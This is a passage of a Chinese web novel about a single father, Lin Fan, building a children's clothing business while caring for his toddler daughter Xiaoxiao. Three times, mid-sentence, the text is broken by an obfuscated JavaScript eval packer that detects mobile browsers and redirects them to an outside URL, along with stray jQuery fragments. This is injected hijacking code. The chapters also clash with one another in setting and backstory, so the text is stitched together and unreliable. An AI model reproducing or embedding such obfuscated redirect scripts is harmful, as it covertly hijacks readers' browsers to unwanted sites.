“你别高兴太早,”林凡指着屏幕上的柱状图,声音沉了些,“这半个月因为骚扰,咱们的销售额比上个月少了15%——
上个月卖了8万,这个月才6.8万,光连衣裙就积压了40多件,本来夏天是连衣裙的旺季,现在都挂在货架上没人问。
而且刀螂心里肯定还记恨,钱老西也没放弃想抢咱们的乡镇集市渠道——上周我去河湾镇赶集,听说他跟集市管理员打听咱们的摊位呢。”
他想起前阵子听商户协会的人说,城西有家叫“童乐坊”的童装店,就是因为被竞争对手长期骚扰,没及时找官方帮忙,最后客源流失,不到半年就关门了——
他现在能稳住,靠的是官方的威慑,不是自己真的有能压住对方的实力。
危机暂时解除,林凡把全部精力重新投入到店铺的经营和“笑笑”品牌的发展上。
之前开拓的乡镇集市渠道,如今走得越来越顺:
每个月去周边三个乡镇赶大集——
红星镇逢每月初二、初七,柳溪镇逢初五、初十,河湾镇逢每月十五、二十,每次都要凌晨五点起床,开着那辆二手面包车装货,带去的纯棉童装;
防滑学步鞋总能卖空,上个月的集市销售额甚至突破了2万元,比开店初期的1万元翻了一倍。
他还特意做了顾客调研,找了30多位乡镇家长聊天,发现他们更在意童装的耐穿性和性价比——
比如孩子爱爬爱跑,裤子膝盖处容易磨破,于是跟“蓝天童装厂”的王经理定制了一批12盎司加厚耐磨的牛仔裤,裤脚缝了三道加固线,腰头还加了松紧带;
刚到货就订出去了三十多条,其中有位张阿姨一次性订了5条,说“给我家三个孙子一人两条,耐磨的能穿到冬天”。
最近,他又开始琢磨市区的代销点——
上周六他特意关了半天店,去市区考察了两个商圈:老城区的钟楼商圈工作日每天人流量约3000人,周末能到5000人;
周边还有一所实验小学,但是临街15平米的店铺租金每月要8000元,还得押三付一,超出了他每月6000元的租金预算;
新开发的滨河商圈租金只要4500元,同样15平米的店铺,押二付一即可,虽然现在每天人流量只有800人,但周边有三个新建小区——
滨河壹号、水岸家园、幸福里,共2100多户,开发商说下个月开始交房,入住的大多是30岁左右的年轻夫妻,商户协会的人统计过,这类家庭有小孩的比例能到60%;
而且小区门口还规划了一个幼儿园,未来潜力大。他把两个商圈的人流早中晚数据、租金付款方式、周边配套(钟楼有小学但停车难,滨河有停车场但餐饮少)都记在蓝色封皮的笔记本上,晚上关店后反复对比,还画了个简单的收支预估表。
一天晚上,送走最后一位顾客——
一位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607513|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给女儿买公主裙的年轻妈妈后,林凡拉下了店铺的卷帘门,“哗啦”的声响在安静的街道上格外清晰。
店里只开着角落的小灯,暖黄的光落在满地的童装包装袋上,还映出货架上挂着的小裙子的影子。
笑笑穿着粉色的学步鞋,鞋面上有个小兔子贴布,晃悠悠地从休息区走过来,小手攥着林凡的裤腿,还时不时抬起头看他。
林凡弯腰把女儿抱起来,在她软乎乎的脸蛋上亲了口,胡子茬蹭得笑笑咯咯笑:
“笑笑今天乖不乖?有没有听阿姨的话?”
笑笑眨巴着大眼睛,小手拍了拍林凡的肩膀,突然伸手指向货架最上层——
那里挂着件米白色T恤,领口绣着一朵金灿灿的向日葵,针脚细密,金线还闪着光。
这件T恤是林凡上个月特意找手工师傅定制的,因为上次带笑笑去城南湿地公园,那天是个晴天,太阳把成片的向日葵晒得金灿灿的,最大的那朵比笑笑的脸还大;
笑笑踮着脚,小手伸得老高想去够花瓣,够不着还急得“哼唧”,林凡当时蹲下来抱着她,说“笑笑喜欢,爸爸以后给你做件有向日葵的衣服好不好”。
“爸爸……笑笑……衣衣……”笑笑的声音含糊不清,却把每个字都咬得很认真,还伸手去够那件T恤。
林凡的心瞬间被暖意填满,像喝了杯热红糖水。这半个月的疲惫——跟“蓝天童装厂”的王经理砍价到嗓子冒烟,原本每件牛仔裤报价45元,他磨了三天;
说“我每个月订200件,你给我40元,我还能帮你推荐给其他乡镇商户”,才把价格谈下来,还争取到了免费在裤脚印“笑笑宝贝屋”的小logo;
半夜起来处理店铺玻璃被砸的事,冷风冻得他打哆嗦,只能裹着外套蹲在门口等师傅;跟工商的刘科长沟通时,小心翼翼地问
“以后要是再有人来骚扰,能不能麻烦你们多来看看”,生怕说错话让对方反感——在听到女儿声音的那一刻,全散了。
他把笑笑举到货架前,让她胖乎乎的小手摸了摸向日葵的绣线:
“对,这是笑笑的衣衣,上面有笑笑喜欢的小花,等笑笑再长高一点就能穿啦。”
笑笑咯咯地笑,小手攥着T恤下摆不肯放。林凡抱着女儿走到窗边,掀开窗帘一角,看着外面的万家灯火:
隔壁的“张记小吃店”还亮着灯,有两位顾客坐在门口的小桌旁吃面条,热气腾腾的白雾往上飘;
远处的路灯连成一条光带,把街道照得暖暖的,偶尔有晚归的行人骑着电动车经过,车铃叮铃响。
破局的利刃已经挥出,暂时斩断了眼前的荆棘。
但林凡知道,前路依然漫长——
他得尽快把市区代销点定下来,这样每月的销售额能再涨20%,就能多雇一个店员;得跟“蓝天童装厂”签长期供货合同,把进货成本再压低5%,这样乡镇集市的利润能更高;
还得加入商户协会,之前协会组织过法律讲座,请了律师讲“经营者如何应对恶意骚扰”,还帮商户集体跟物流公司谈了优惠,原本发乡镇的快递每件8元;
现在协会统一发只要6元,万一再遇到骚扰,协会还能帮着一起跟官方沟通,比自己单打独斗强。
他看着怀里已经开始打哈欠的笑笑,小脑袋一点一点的,手指轻轻摸着她柔软的头发:“爸爸会努力,让更多小朋友都能穿上笑笑的衣衣,让咱们再也不用怕别人找麻烦。”
窗外的风偶尔吹过,带着街边桂花树的甜香——
那棵树是去年种的,今年第一次开花。林凡的目光落在远处的霓虹上,坚定而深远。
他知道,自己不能有丝毫停歇——说不定下周去市区谈代销点时,滨河商圈的开发商会推出优惠政策;也说不定刀螂会找新的人来捣乱。
但只要他跑得足够快,积累足够多的资本和实力,
总有一天,他不用再等着别人“撑腰”,自己就能成为保护店铺、保护笑笑的“规则”。
新的挑战和机遇,或许就在下一个转角——
比如明天去河湾镇赶集时,能遇到一位想合作的乡镇超市老板;
又或者,笑笑会学会说更多的话,能跟他一起“讨论”新衣服的款式。
第四十八章:阁楼里的苹果与重启键
1992年的春风刚吹醒南方小城,潮湿的风裹着路边迎春花的淡香,掠过青石板路上的水洼;
市场经济的嫩芽还在试探着破土,街角国营理发店的转灯慢悠悠转着,墙根下下棋的老人还在议论“个体户算不算投机倒把”。
当时全市个体工商户不足两千家,百货大楼仍是市民消费的“圣地”:
正门挂着“春季展销”的红绸横幅,自行车在门口排成长龙,车铃“叮铃”声混着柜台里的吆喝,日客流量能突破五万人次。
而传呼机作为“稀罕物”,只有商场经理级别的人才配挂在腰间,黑色机身别在的确良衬衫上,数字屏幕偶尔亮起时,总能引来路过顾客的侧目。
就在这样的年月里,林凡攥着东拼西凑的三万块钱;
纸币被他反复叠在贴身的内袋里,边缘磨得发毛,还带着体温——
在百货大楼办公室签童装区临时专柜协议时,指节因为用力而泛白,手心的汗把协议纸张洇出浅浅的印子。
百货大楼的消毒水味混着一楼化妆品柜台的脂粉香飘进来,他盯着协议上“临时”两个字,喉结滚了滚:
对他这个刚失去妻子、独自带着两岁女儿的男人来说,这不是一份生意,是能让女儿笑笑“不用再穿洗得发蓝的旧衣服”的救命稻草,是他攥在手里、怕一松就碎的希望。
接下来的七天,城郊那间租来的阁楼成了林凡的战场。
不足十平米的空间里,斜顶最低处仅一米五,他得佝偻着背,肩膀几乎要碰到头顶的木梁,趴在刷着斑驳红漆的老旧木桌上。
桌上摊着供应商名录(纸页边缘被虫蛀出小窟窿)、货品清单(用铅笔写了又改,涂改液堆出小疙瘩)和一把包浆厚重的红木算盘,唯一的15瓦灯泡悬在头顶;
昏黄的光像蒙了层雾,只能照亮桌面巴掌大的地方。他不得不把脸凑得极近,鼻尖几乎碰到单据,哈出的气在纸面上晕开白雾,又很快散去,才能看清上面的数字。
首批选的五个童装品牌,有三个是他坐了两小时绿皮火车跑下来的。
火车车厢里飘着煤烟味,硬塑料座位上沾着饼干渣,他挤在过道里,怀里揣着用塑料袋裹好的名录,怕被人挤破。
郊区的国营服装厂藏在一片油菜花田里,铁皮厂房的大门锈迹斑斑,厂长办公室摆着掉漆的铁皮文件柜,桌上搪瓷缸子泡着泛白的茉莉花茶。
厂长起初嫌他拿货量少(每个品牌仅四五十件,总计二百三十件,装不满半个纸箱),指尖敲着桌面说“不够油钱”,不愿降价。
林凡软磨硬泡到天黑,窗外的夕阳把两人的影子拉得老长,他盯着厂长办公桌上女儿的照片(扎着羊角辫,跟笑笑差不多年纪),咬咬牙说
“我帮您清二十件过季外套,只求八折”——那批外套领口都发皱了,他知道得花心思卖,可一想到笑笑穿上新衣服的样子,又觉得值了。
主推的“小熊系列”卫裤,他在商场童装区蹲了一下午:
蹲得腿发麻,就靠着柜台边揉一揉,反复比对其他品牌的标签——同类纯棉卫裤普遍定价140元,标签上的金线都快磨掉了。
他攥着算盘蹲在墙角算:租金每天二十三块,运费每件八**,再留两成预期利润,最终把价格定在98元——
正好是竞品七折的价位,铅笔在单据上圈出这个数字时,他指腹蹭过纸面,忽然想起笑笑上次路过商场,盯着橱窗里的小熊卫裤看了好久,小手指着玻璃说“熊熊”。
就连柜台陈列,他都在阁楼的废报纸上画了三版草图:铅笔头磨得尖尖的,画坏了就团成团扔在纸篓里,纸篓都快满了。
最终定的方案是把“小熊卫裤”摆在1.2米高的黄金层——他特意找了个空纸箱量,用尺子比着在纸箱上画横线;
后来才知道,这个高度正好是带孩子的家长弯腰就能摸到的位置,指尖能蹭到卫裤上软乎乎的绒毛。
过季外套则放在下层,用红卡纸写“买新款送袜子”的标牌,卡纸边缘用剪刀剪得歪歪扭扭,他还在“送”字旁边画了个小袜子图案。
夜里阁楼漏风,风从窗缝里钻进来,“呜呜”地响。
他裹着妻子留下的旧棉袄——棉袄里子是碎花布,洗得发脆,袖口磨破了边,还带着淡淡的樟脑丸味——坐在小马扎上算账。
算盘珠碰撞的“噼啪”声在空荡的阁楼里格外响,常常要到凌晨,窗外的月光透过蒙着灰的小窗户照进来,在地上投出歪歪扭扭的窗格影子,他才揉着发酸的肩膀站起来。
这种被目标推着往前冲的亢奋,在一个飘着细雨的四月傍晚,被女儿笑笑一句怯生生的问话敲得粉碎。
那天林凡刚从商场回来,怀里抱着一大摞印着“俏童坊”的纸箱——油墨有点蹭掉了,纸箱边角被磨得发白,有的地方还沾着雨水,冰凉地贴在他胸口。
这是最后一批货,他得连夜清点贴标签,明天一早就要上架。阁楼里早已堆得满满当当的纸箱,几乎占了一半空间,留出的过道只够一个人侧身走。
他跪在冰凉的水泥地上,膝盖下垫着块打了补丁的旧棉布,布料上还沾着去年冬天的棉絮。额角的汗水顺着脸颊往下淌,滴在手写的货品单据上,晕开一片深蓝色的墨迹,他用手背去擦,结果把脸也蹭得花一块白一块
。
两岁七个月的笑笑,就是在这时出现在楼梯口的。
那架木制楼梯年久失修,台阶裂缝里嵌着黑黢黢的灰尘,最上面两级还缺了角,露出里面的木头茬。
笑笑穿着那件洗得发白的棉布罩衫——
领口都快磨出毛边了,袖口开着线,是她前几天玩积木时勾到钉子扯破的,她自己试着用红线缝,结果缝成了歪歪扭扭的疙瘩,线头还松松垮垮地挂在上面——
小手紧紧抓着栏杆,栏杆上的漆都掉光了,露出粗糙的木头。她像只刚学会走路的小熊,颤巍巍地一步一步往上爬,膝盖蹭在台阶上;
沾了点灰也不在意,小脚丫踩在台阶上,发出“哒哒”的轻响,每爬一步都要顿一下,生怕摔下去。
她右手攥着半个苹果,果皮皱巴巴的,像晒干的橘子皮,果肉已经氧化成了褐色,边缘被啃得参差不齐——
那不是林凡早上塞给她的(早上他急着去见供应商,只往她手里塞了个凉馒头,馒头表皮都硬了),是隔壁张阿姨看她蹲在单元门口眼巴巴等爸爸,从自家果盘里拿给她的。
笑笑舍不得吃,把苹果揣在罩衫的小兜里,兜是缝补过的,苹果在里面硌出一个小小的鼓包,她走路时还时不时摸一下,怕苹果掉了。
她爬到阁楼门口,没敢进去,就安静地站在齐腰高的纸箱旁,仰着小脸看爸爸。纸箱上印的“小熊”图案正好对着她,她伸手碰了碰,又赶紧缩回来,像是怕碰坏了。
当时墙上的挂钟正好指向18点30分——挂钟是塑料外壳的,指针有点歪,秒针“滴答”地走,这是《大风车》开播的时间。
往常这个点,林凡会提前把小板凳摆在楼下客厅的电视机前,用布擦得干干净净,再给她剥好一碟瓜子,瓜子仁都放在白色的搪瓷碟里,然后喊
“笑笑快来,董浩叔叔要出来啦”。可今天,楼下的小板凳空着,电视机蒙着一层薄灰,爸爸也没像往常一样在楼梯口喊她“笑笑来抱”。
她就这么看了三分钟,看着爸爸的头埋在单据里,后背弓着,像个问号,手指飞快地拨着算盘,连抬头的间隙都没有。
阁楼里只有算盘声和窗外的雨声,她的小手抠着纸箱的边缘,指甲都有点发白了。
最后,她把苹果往身后藏了藏,手背贴在屁股上,用小到几乎要被雨声淹没的声音呢喃:
“爸爸……忙?不理……笑笑?”声音软软的,尾音还带着点颤,像被雨打湿的小羽毛。
算盘珠的碰撞声骤然停了。
林凡像被针扎了一下,猛地低头,正好撞进女儿清澈的杏眼里。
那双总是弯成月牙、盛满笑意的眼睛,此刻蒙着一层水光,像含着两颗小小的露珠,长长的睫毛上还沾着爬楼梯时蹭到的灰,细细的,像撒了点胡椒粉。
她的鼻尖因为紧张而微微泛红,还带着点室外的凉气,嘴唇抿成一条小小的直线,像是快要哭了。
心脏像是被浸了醋的棉绳狠狠勒住,疼得他喘不过气——
他突然想起今早出门前,笑笑拽着他的衣角,举着一把粉色的塑料梳子,梳齿断了两根,她小手抓得紧紧的,小声说“爸爸梳辫辫”。
他当时正对着镜子整理衬衫,衬衫领口有点皱,他扯了扯,随口一句“找隔壁张阿姨帮忙”,就急匆匆地走了;
没看见笑笑把梳子紧紧抱在怀里,瘪着嘴站在门口,眼泪在眼眶里转了两圈,又硬生生憋了回去。
他想起昨夜凌晨两点,他对账时听见走廊里有“哒哒”的脚步声,轻得像小猫走路,还以为是风吹动门帘。
直到今早张阿姨在楼下拦住他,手里拿着笑笑的湿裤子,语气有点心疼地说
“孩子半夜尿床,光着脚丫站在走廊里哭,怕吵醒你不敢喊,我听见哭声才起来给她换的衣服”——
他这才想起,昨夜似乎隐约听见了小声的啜泣,可当时满脑子都是专柜的货,竟没放在心上。
他更想起三个月前,妻子留下那张写在笔记本撕下来的纸上的字条,字迹潦草:
“我受够了这种日子”。
她决绝地走出家门时,门“砰”地一声关上,他跪在摇篮前,抱着刚睡醒的笑笑,笑笑还在揉着眼睛咿呀叫“妈妈”;
他指天发誓要“给她双倍的爱,让她比别的孩子都强”——可现在,他连陪她看《大风车》的时间都没有。
“对不起,宝贝。”
林凡猛地推开算盘,算盘珠“哗啦啦”散了一地,有的滚到纸箱底下,有的撞在墙上弹回来,发出清脆的响。
他单膝跪地时,膝盖重重磕在水泥地上,发出“咚”的一声闷响,可他半点也没觉得疼;
他伸手去抱笑笑,先用袖口擦了擦她脸上的灰,袖口的粗布擦得她脸颊有点痒,又小心翼翼地把她手里攥得温热的苹果接过来,然后将她紧紧拥在怀里。
笑笑的小身子软软的,贴在他胸口,能闻到她头发上淡淡的肥皂味,是张阿姨给她洗头用的蜂花牌香皂。
阁楼西侧的搪瓷盆还在漏雨,“滴答、滴答”的声音落在盆里,溅起小小的水花,混着他沙哑的哽咽:
“爸爸不好……这周爸爸跑了三个供应商的工厂,工厂里的机器声吵得耳朵疼;谈了四场合作,口干舌燥得喝了两壶白开水;
还跟商场经理磨了两天租金,好话说了一箩筐……却忘了给我的笑笑梳辫子,忘了陪你看《大风车》,让我的笑笑成了没人管的小草……”
他的声音越来越低,脸埋在笑笑的头发里,肩膀控制不住地发抖。
笑笑被爸爸熟悉的烟草味包围,小脸蛋在他肩头蹭了蹭,把憋了半天的委屈蹭掉了些。
她感受到爸爸的肩膀在颤抖,忽然伸出小手,从爸爸手里拿过那半块氧化的苹果——
苹果上还带着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607514|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的体温,有点湿乎乎的——踮起脚尖,脚跟离地,身子晃了晃,把苹果瓣坚定地塞进林凡嘴里:“爸爸吃,甜。”
苹果的汁水在齿间迸溅开来,带着点氧化后的微涩,可林凡却觉得比他谈成合作时在路边摊买的橘子汽水还甜——
那汽水是玻璃瓶的,吸管有点弯,当时他觉得是世上最好喝的东西。他嘴里含着苹果,眼前突然闪过百货大楼经理拍着他的肩膀说的话:
“你这专柜要是能卖爆,我给你提两个点的提成,年底还能转成常驻柜。”
那些数字——
每个月能多赚两千块,能给笑笑买橱窗里那件120元的公主裙(裙摆上有蕾丝花边,笑笑上次看了好久),能把阁楼的漏雨处修好,不用再摆搪瓷盆接水——
曾让他血脉偾张,觉得所有的辛苦都值了。
可此刻,女儿指尖残留的、带着奶香的温度(早上张阿姨给她冲了半袋奶粉,是最便宜的袋装奶粉),比任何提成、任何公主裙都更有冲击力。
他突然明白,自从妻子离开后,他像疯魔一样扑向事业,不过是想证明“单身父亲也能给孩子优渥的生活”,却忘了上个月带笑笑去公园时;
她指着别的小朋友被爸爸抱在怀里荡秋千的样子,眼睛里满是羡慕,小声说“笑笑也想”;
忘了她上周收到张阿姨送的小皮球,第一个反应就是举到他面前,嘴角翘着,盼着他说一句“笑笑真乖”——
可当时他正在算账单,只随口“嗯”了一声,没看见她脸上的笑容慢慢落了下去。
原来孩子最需要的,从来不是橱窗里的新裙子,而是黄昏时分,专属于她的那个怀抱,是有人陪她看《大风车》,是有人给她梳歪歪扭扭的辫子。
阁楼里的雨声还在继续,怀里的孩子暖暖的,手里的苹果还带着她的口水。林凡忽然觉得,这漏雨的阁楼、这半块苹果,像一枚重启键,狠狠震醒了他。
他想起妻子离开前最后一次跟他吵架,她坐在沙发上哭,眼睛红得像兔子,声音发抖:“林凡,你永远不知道孩子要什么!
你总觉得给她买东西就是爱,可她半夜发烧,你在谈生意;她想让你陪她玩积木,你在算账!”
当时他还皱着眉反驳“我不是为了这个家吗”,觉得妻子不理解他的压力,可现在,他竟真的在重复同样的错误。
原来“重生”的意义,从来不是赚更多的钱、开更大的专柜,而是让怀里的这个小人儿,不再经历被忽视的童年——
哪怕为此要少接两个品牌,少赚三成利润;哪怕专柜的扩张计划要往后推,从“三个月”改成“半年”;哪怕别人说他“不会做生意”,也值了。
那天夜里,林凡把散落的算盘珠一个个捡起来,有的滚到床底下,他就趴在地上用手掏,指尖沾了灰也不在意。
他撕毁了那张写满“通宵对账”“拜访新供应商”的计划表,纸被撕得很碎,扔进纸篓时,他觉得心里也松快了些。
他从抽屉里翻出女儿的幼儿园日历,日历纸有点黄,上面还有笑笑用蜡笔画的小太阳。
他用红笔在每个周三下午和周六全天都圈了圈——
周三是少年宫的绘画课,周六有手工课,他之前听张阿姨说过,笑笑每次路过少年宫,都会趴在铁门上,盯着里面的小朋友画画,眼睛都看直了。
他还在日历旁边写了一行小字:“给笑笑做红烧肉(少放糖),陪她看《大风车》”,字迹写得很工整,怕自己忘了。
窗外的雨渐渐停了,月光透过阁楼的小窗户照进来,落在笑笑熟睡的脸上,她的睫毛很长,影子投在脸颊上,像两把小小的扇子。
林凡坐在床边,握着女儿温热的小手,她的小手攥着他的手指,轻轻的,暖暖的。他忽然觉得,
那些曾经让他觉得无比重要的商业蓝图,那些密密麻麻的数字,终将汇入这双小手的温度里——
因为所有的努力,本就该是为了守护这份温度。
后来,林凡真的减少了两个品牌的合作,跟供应商打电话时,他语气很诚恳:“实在抱歉,我得多陪陪孩子。”
对方起初不解,后来听他说了笑笑的事,反倒说“你这爹当得称职”。他把专柜的打理时间调整到每天下午五点前结束,百货大楼关门的铃声响起时,他总会第一个收拾好东西,背上包就往幼儿园跑。
每天傍晚,幼儿园门口的老槐树下,总能看见他的身影:
手里要么拿着一根裹着糖霜的糖葫芦,糖霜还粘着手;要么揣着一块水果味的奶糖,装在小小的铁盒里。
笑笑看见他,就会蹦蹦跳跳地跑过来,扑进他怀里,喊“爸爸”,声音甜得像蜜。幼儿园老师拉着他的手说:
“笑笑变化可大了,以前不爱说话,现在会主动跟小朋友分享玩具,还会给大家唱《大风车》的歌,成了‘小开心果’。”
而他的专柜生意,也没因为减少品牌而下滑——因为他总能准确地选出小朋友喜欢的款式:知道男孩喜欢汽车图案,女孩喜欢小碎花;
知道家长在意布料是否柔软,会不会磨孩子的皮肤。有家长说:“这个老板懂孩子,买他的衣服放心。”
有时候,林凡会看着专柜里挂得整整齐齐的“小熊卫裤”,想起那个漏雨的阁楼和半块苹果,心里就会暖暖的,像揣了个小太阳。
他终于明白,真正的成功,从来不是赚了多少钱,开了多大的店,而是孩子在你怀里时,眼睛里有光——
那光是信任,是依赖,是满满的爱,比任何奖杯都珍贵。
第四十九章:女儿的成长尺
林凡的家在城东老纺织厂宿舍三楼,那是上世纪九十年代的红砖楼,楼道墙皮斑驳得露出内里的水泥,每层转角的共用电表箱贴满泛黄的缴费通知单;
楼梯扶手被几十年的手掌磨得发亮。70平米的屋里,家具大多是父母留下的老物件:客厅的樟木箱衣柜是1988年父母结婚时的嫁妆,深棕色漆皮在柜门边掉出月牙形的缺口;
关柜时总得用手推着门沿才能扣紧;米黄色的木沙发是父亲生前常坐的,右侧扶手裂了道三厘米的缝,林凡用米白色医用胶布缠了三圈,胶布边缘已经起了毛边。
屋里唯一鲜亮的色彩,是客厅西墙贴满的涂鸦——2岁7个月的笑笑还握不稳蜡笔,画的“爸爸”是三个连在一起的歪扭圆圈;
圆圈下面拖着两条斜线当腿,却被林凡用透明胶带沿着涂鸦边缘仔细裱了起来,连胶带的接口都特意贴在墙缝里,怕蹭到孩子的画。
作为从女儿出生起就独自抚养的单身父亲,林凡的日子像被两根绳子拽着:一头是和发小王猛合伙开的社区童装小店,每月租金1800元,得靠卖二三十件衣服才能挣回来;
另一头是刚能说“爸爸抱”“要喝奶奶”的笑笑,孩子每天要换4片纸尿裤,一罐普通的婴幼儿奶粉就要150元。
他的钱包里总装着一张泛黄的便签,上面记着“纸尿裤:58元/包”“托儿所:800元/月”“奶粉:150元/罐”,
连买包纸尿裤都要在心里算半天——要是今天能卖两件外套,就能多买一包纸尿裤,不用等到周末再去批发市场买临期的。
每天清晨5点半,林凡的手机闹钟准时响起,铃声是笑笑刚会发“ba”音时的录音。他轻手轻脚地起床,怕吵醒身边还含着硅胶奶嘴的女儿——
笑笑睡觉浅,稍有动静就会皱着眉哼唧。狭小的厨房里,铝制奶锅缺了个月牙形的口,那是上个月煮糊米粥时磕在煤气灶上弄的,他往锅里倒了小半碗米粉,又从冰箱里拿出几片青菜叶切碎——
青菜是前一天傍晚菜市场收摊时,卖菜的刘叔送的,说“给孩子煮着吃,新鲜”。这是笑笑的早餐,而林凡自己,往往是啃昨天剩下的凉馒头——
大多是豆沙馅的,放凉了皮有点硬,他会就着热水嚼,怕咽着。
6点40分,林凡把笑笑裹进洗得发白的粉色棉袄——这是去年冬天王猛家亲戚送的,今年穿已经有点短,露出一小节手腕,他特意在棉袄袖口缝了圈灰色的绒布边。
他背上装童装样品的旧帆布包,包带断过一次,用尼龙绳缝了两针,里面装着5件小外套样品;左手拎着女儿的蓝色小水壶,壶盖的吸管有点漏,他总在壶底垫张纸巾;
右手牵着笑笑肉乎乎的小手,往小区门口的“阳光托儿所”走。
托儿所是社区办的,每月800元的费用,比附近私立托儿所便宜400多,还是王猛托社区居委会的熟人找的——
王猛总说:“你先顾着孩子,店里的货我多盯点,我没结婚没牵挂,多守会儿店没事。”
帆布包的最底层,藏着他前几天去菜市场捡的3个废纸箱,都是装苹果的,他特意拆开压平,叠得整整齐齐,打算攒够10个就卖给废品站,能换8块钱,够买两包婴儿湿巾。
根据《2024中国低收入家庭亲子陪伴现状报告》(中国社会科学院社会学研究所发布),月收入低于8000元的单身父母,日均亲子陪伴时间虽有2.1小时,但近75%需在陪伴时处理缝补衣物、整理货物等生计事务。
而林凡却尽量把陪伴变得“纯粹”:每天下午4点,他会提前半小时关店——关门前会把当天的货物按尺码摆好,给每件衣服贴好价格标签,方便第二天王猛看店;
然后快步去托儿所接笑笑。2岁多的孩子正是黏人的时候,一看到林凡就会张开胳膊扑过来,嘴里喊着“爸爸抱”,小脑袋在他颈窝里蹭来蹭去,把他的衣领蹭得全是奶香味。
接完孩子,他会把笑笑放在店门口的蓝色小推车里——推车是邻居张婶送的,轮子有点歪,推的时候会发出“吱呀”声,他推着车去隔壁水果店,跟老板讨点削下来的苹果皮:
“李哥,有苹果皮吗?孩子喜欢嚼着玩。”苹果皮干净又不花钱,笑笑能坐在推车里嚼半天,偶尔还会举着一小块苹果皮递到他嘴边:“爸爸,吃。”
店里的货箱堆得快到天花板,大多是装童装的纸箱,林凡却特意在角落腾出一平方米的地方,铺了块灰色旧地毯——
是他从旧货市场花10块钱买的,边缘有点脱线;地毯上放着笑笑的布偶熊和塑料积木,布偶熊的一只眼睛掉了,他用黑色纽扣缝了上去,积木少了两块,是笑笑上次玩的时候弄丢的。
有次王猛帮他看店,让他带笑笑去打流感疫苗。他兜里揣着皱巴巴的100块钱,全是5块、10块的零钱,是攒了3天的营业收入,在医院走廊里反复看价目表——
疫苗费148元,差48块。他在走廊里徘徊了5分钟,才给王猛发消息:“能不能先借我50,疫苗钱差一点,下周还你。”王猛后来跟居委会的人说:
“林凡从来没跟我提过家里难,但我上周去他店里,看到他给笑笑冲奶粉,总挑最便宜的袋装,10块钱一小袋,够喝两天;
他自己中午就啃个干面包,连瓶矿泉水都舍不得买,渴了就喝店里的自来水。”
遇到需要去市区谈童装供货的业务,林凡更是提前几天就焦虑:
他要先跟住在对门的张婶说好,让她帮忙照看笑笑到晚上8点——张婶是退休的幼儿园老师,家里孙子和笑笑同岁,两个孩子能一起玩,张婶还会给笑笑讲故事;
还要把笑笑的奶粉、换洗衣物分装在保鲜袋里,每个袋子上写着“中午穿”“晚上穿”,连冲奶粉的水温都要在便签上写得清清楚楚:
“先放30ml凉水,再加热水到40℃,舀2勺奶粉,摇三下,别摇太狠,会有气泡。”有次他谈完业务赶回来,已经晚上7点半,刚到张婶家门口就听到笑笑的哭声。
推开门一看,张婶正抱着哭唧唧的笑笑哄:“笑笑乖,爸爸马上就回来,你看这是爸爸早上给你留的饼干,还有一块呢。”
笑笑看到他,哭声立刻停了,伸着胳膊要他抱。林凡心里一酸,掏出兜里仅有的一颗水果糖——是下午谈业务时对方给的,他没舍得吃,剥了糖纸递给女儿,看着她含着糖笑,眼眶有点红。
林凡的童装样品,也带着“穷人家的用心”。他和王猛每周六早上6点就起床,坐一个小时的公交去城郊的童装厂挑尾货——
尾货是面料没问题但有轻微瑕疵的衣服,比如领口有点歪、印花少了个角,价格比正常批发价便宜40%,一件外套正常批发50元,尾货只要30元。
每次拿到新样品,他都会先给笑笑试穿:2岁多的孩子说不出“面料硬”“缝线硌”这样的话,只会扯着衣服领口哼唧,或者在地上爬两圈,要是衣服磨皮肤,就会哭闹着要脱。
有次他们拿了批蓝色的连体衣,笑笑穿了没十分钟就开始哭,小手一直抓着袖口。林凡赶紧把衣服脱下来,翻到里面看,才发现袖口的缝线没处理好,有个小线头翘着,磨得孩子皮肤发红。
他连夜坐在客厅的小桌子前,用小剪刀把缝线一点一点挑松,又用之前修家具剩下的细砂纸轻轻磨袖口边缘,磨了二十多分钟,直到用手摸起来光滑了才停。第二天再给笑笑穿,孩子果然不闹了,还穿着连体衣在地上爬来爬去,嘴里喊着“爬爬”。
后来这批连体衣在店里卖得特别好,住在隔壁楼的李姐买了一件,过了两天又带了三个邻居来,说:
“这衣服摸着比我给孩子买的名牌还软,我家孩子穿着爬来爬去也不闹,比那些一百多的还舒服。”
当首笔3200元的订单利润到账时,林凡攥着银行卡在小区门口的银行ATM机前站了好久——晚上8点多,ATM机房里只有他一个人,灯光有点冷。
他输密码的时候手都有点抖,查了三遍余额才确认:3200元。这钱够给笑笑买两箱奶粉(一箱6罐,150元/罐,两箱1800元),还能交下个月的托儿所费用(800元),剩下的600元能留着当生活费。
但他还是咬牙拿出50块钱,在小区门口的超市给笑笑买了个洋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 